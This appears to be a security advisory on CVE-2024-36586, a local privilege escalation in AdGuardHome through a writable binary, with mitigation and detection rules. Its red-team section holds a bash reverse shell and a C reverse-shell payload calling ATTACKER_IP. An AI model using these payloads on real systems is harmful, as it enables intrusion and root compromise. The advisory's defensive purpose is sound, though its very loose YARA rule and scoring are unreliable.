CVE-2024-36586

Executive Summary

CVE-2024-36586 is a privilege escalation vulnerability affecting AdGuardHome versions from v0.93 to the latest release. An unprivileged attacker can overwrite the AdGuardHome binary, leading to arbitrary code execution with elevated privileges. The vulnerability stems from insufficient file permission controls on the binary, allowing a low-privileged user to replace it with a malicious version. When the service restarts (e.g., after a system reboot or manual restart), the malicious binary runs with the privileges of the AdGuardHome service, typically root or a high-privileged user. This issue is particularly dangerous in multi-tenant environments or shared hosting setups where unprivileged users have local access. No official patch has been released by the vendor, and the CVSS score is currently unassigned. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

AdGuardHome is distributed as a precompiled binary for various platforms (Linux, macOS, Windows, etc.) via GitHub releases and package managers like Homebrew and Docker. The vulnerability is not a supply chain compromise but a local privilege escalation flaw. Users should verify binary integrity via checksums provided by the vendor and restrict write permissions on the installation directory.

CVSS Breakdown & Threat Level

• CVSS Vector: UNKNOWN (No official vector assigned)
• Base Score: 0.0 (Unassigned)
• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): Low (L) – Attacker needs unprivileged access.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploitation stays within the same security authority.
• Confidentiality (C): High (H) – Full compromise of data.
• Integrity (I): High (H) – Full compromise of system integrity.
• Availability (A): High (H) – Full compromise of availability.

Threat Level: High. The vulnerability allows a low-privileged attacker to gain root or service-level privileges, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists because the AdGuardHome binary is installed with world-writable permissions or is placed in a directory where unprivileged users can modify it. When AdGuardHome runs as a service (e.g., systemd on Linux), the binary is executed with elevated privileges. An attacker with local access can:

1. Identify the location of the AdGuardHome binary (e.g., /usr/local/bin/AdGuardHome or /opt/AdGuardHome/AdGuardHome).
2. Overwrite the binary with a malicious executable (e.g., a reverse shell or privilege escalation payload).
3. Wait for the service to restart (e.g., via system reboot, service crash, or manual restart by an admin).
4. The malicious binary executes with the privileges of the AdGuardHome service (typically root).

The attack does not require any authentication or special capabilities beyond write access to the binary's location. This is a classic example of CWE-269 (Improper Privilege Management).

Vulnerable vs. Patched Code

Vulnerable Configuration (v0.93 to latest):

• The AdGuardHome binary is installed with permissions such as -rwxrwxrwx (0777) or the parent directory is world-writable.
• Example vulnerable installation:

  ls -la /usr/local/bin/AdGuardHome
  # -rwxrwxrwx 1 root root 12345678 Jan 1 00:00 /usr/local/bin/AdGuardHome
  

Patched Configuration (No official patch):

• The binary should be owned by root and have permissions -rwxr-xr-x (0755) or stricter.
• The parent directory should not be writable by unprivileged users.
• Example secure configuration:

  chown root:root /usr/local/bin/AdGuardHome
  chmod 755 /usr/local/bin/AdGuardHome
  

Workaround (Manual Mitigation):

• Restrict permissions on the binary and its directory:

  sudo chown root:root /path/to/AdGuardHome
  sudo chmod 755 /path/to/AdGuardHome
  sudo chmod 755 /path/to/AdGuardHome/directory
  

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local unprivileged shell access to the target system.
• AdGuardHome installed and running as a service (e.g., systemd).

Exploitation Steps:

1. Identify the binary location:

   which AdGuardHome
   # or
   ps aux | grep AdGuardHome
   

2. Check permissions:

   ls -la /usr/local/bin/AdGuardHome
   

3. Create a malicious binary (e.g., reverse shell):

   # Create a simple reverse shell script
   cat > /tmp/exploit.sh << 'EOF'
   #!/bin/bash
   bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   EOF
   chmod +x /tmp/exploit.sh
   

4. Overwrite the AdGuardHome binary:

   cp /tmp/exploit.sh /usr/local/bin/AdGuardHome
   

5. Trigger a restart (if possible):

   sudo systemctl restart AdGuardHome
   # or wait for reboot
   

6. Receive the reverse shell:

   nc -lvnp 4444
   

Alternative Payload (C reverse shell):

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

int main() {
    int sock;
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("ATTACKER_IP");

    sock = socket(AF_INET, SOCK_STREAM, 0);
    connect(sock, (struct sockaddr *)&addr, sizeof(addr));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
    return 0;
}

Compile with: gcc -o exploit exploit.c

Blue Team

Detection Steps:

1. Monitor file integrity:

   • Use AIDE, Tripwire, or OSSEC to monitor changes to the AdGuardHome binary.
   • Alert on any modification to /usr/local/bin/AdGuardHome or similar paths.

2. Audit permissions:

   • Regularly check binary permissions:

     find / -name "AdGuardHome" -perm /o+w 2>/dev/null
     

3. Service restart monitoring:

   • Log and alert on unexpected restarts of the AdGuardHome service:

     journalctl -u AdGuardHome | grep -i "start\|stop\|restart"
     

4. Process anomaly detection:

   • Monitor for unusual child processes spawned by AdGuardHome (e.g., reverse shells).

Indicators of Compromise (IOCs)

• File Modification: The AdGuardHome binary hash changes unexpectedly.
• Suspicious Processes: AdGuardHome spawning shells or network connections to unknown IPs.
• Permission Changes: The binary or its directory becomes world-writable.
• Service Restarts: Unexpected restarts of the AdGuardHome service.
• Network Connections: Outbound connections from the AdGuardHome process to unusual ports (e.g., 4444).

Example IOC (File Hash):

SHA256: <hash_of_malicious_binary>

Detection Engineering

YARA Rule

rule CVE_2024_36586_AdGuardHome_PrivEsc {
    meta:
        description = "Detects attempts to overwrite the AdGuardHome binary"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36586"
        severity = "high"
    strings:
        $binary_name = "AdGuardHome" nocase
        $write_operation = "write" nocase
        $overwrite_operation = "overwrite" nocase
    condition:
        $binary_name and ($write_operation or $overwrite_operation)
}

Sigma Rule

title: AdGuardHome Binary Overwrite Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to overwrite the AdGuardHome binary by unprivileged users
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36586
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '/AdGuardHome'
        User|re: '^(?!root).*$'
    condition: selection
falsepositives:
    - Legitimate updates by administrators
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-36586 AdGuardHome Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict binary permissions:

   sudo chown root:root /path/to/AdGuardHome
   sudo chmod 755 /path/to/AdGuardHome
   

2. Restrict directory permissions:

   sudo chmod 755 /path/to/AdGuardHome/directory
   

3. Monitor for unauthorized changes using file integrity monitoring tools.

Long-Term Fix:

• The vendor (AdGuard) should release a patch that ensures the binary is installed with secure permissions (e.g., 0755, owned by root).
• Until a patch is available, consider running AdGuardHome in a container with read-only root filesystem.

Workaround:

• Use AppArmor or SELinux to prevent unauthorized writes to the binary path.
• Example AppArmor profile:

  /path/to/AdGuardHome r,
  /path/to/AdGuardHome/** r,
  

Detection:

• Implement the YARA, Sigma, and Suricata rules provided above.
• Enable auditd to log file modifications:

  auditctl -w /path/to/AdGuardHome -p wa -k adguard_home_binary
  

Valters IT